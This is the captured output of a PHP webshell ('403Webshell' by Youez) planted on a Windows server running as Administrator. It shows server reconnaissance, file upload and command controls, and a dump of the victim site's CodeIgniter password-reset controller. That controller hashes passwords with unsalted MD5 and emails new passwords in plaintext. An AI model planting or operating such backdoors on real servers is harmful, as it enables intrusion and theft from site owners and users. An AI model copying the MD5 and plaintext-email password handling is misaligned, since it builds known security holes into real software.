403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /laragon2/www/ayongundang/app/Controllers/base/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /laragon2/www/ayongundang/app/Controllers/base/Lupa_password.php
<?php namespace App\Controllers\base;

use CodeIgniter\Controller;
use App\Models\base\DashboardModel;

class Lupa_password extends Controller
{
    public function __construct() {
        //mengisi variable global dengan data
        $this->session = session();
        
        $this->DashboardModel = new DashboardModel(); 
        helper('text');
        $this->email = \Config\Services::email();
		$this->request = \Config\Services::request(); //memanggil class request
        $this->uri = $this->request->uri; //class request digunakan untuk request uri/url
    }

    public function index()
    {
        $data['title'] = 'Reset Password';
        $data['view'] = 'base/dashboard/auth/lupa_password';
        return view('base/dashboard/auth/layout', $data);
        // echo $_SESSION['id'];
    }

    public function do_kirim(){

        $email= $this->request->getPost('email');
        $hasil = $this->DashboardModel->get_user_by_email($email);
        if(count($hasil) > 0)
        {
            $id = $hasil[0]->id;
            
            $passnew = random_string('alnum', 8);
            $password = md5($passnew);
            $update = $this->DashboardModel->reset_password($password, $id);
            $pesan = 'Hallo Kak,<br>
            Reset Password Berhasil<br>
            Gunakan Password baru untuk login: <br>
            <b>'.$passnew.'</b><br>
            Silahkan <a href="'.SITE_UTAMA.'/login">KLIK DISINI</a> untuk Login Halaman Pengguna<br><br>
            <b>Terima Kasih Dan Sukses Selalu</b>';
            $this->sendEmail($email, 'Reset Password', $pesan);
             return redirect()->to(base_url('/login'));
            
        }
        else
        {
            $this->session->setFlashdata('errors', ['Email Salah']);
            return redirect()->to(base_url('/lupa_password'));
        }
		
    }
    
    private function sendEmail($to, $title, $pesan){

		$this->email->setFrom('ngulemind.online@gmail.com','NGULEMIND.ONLNE');
		$this->email->setTo($to);
		$this->email->setSubject($title);
		$this->email->setMessage($pesan);

		if(! $this->email->send()){
			return false;
		}else{
			return true;
		}
	}
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit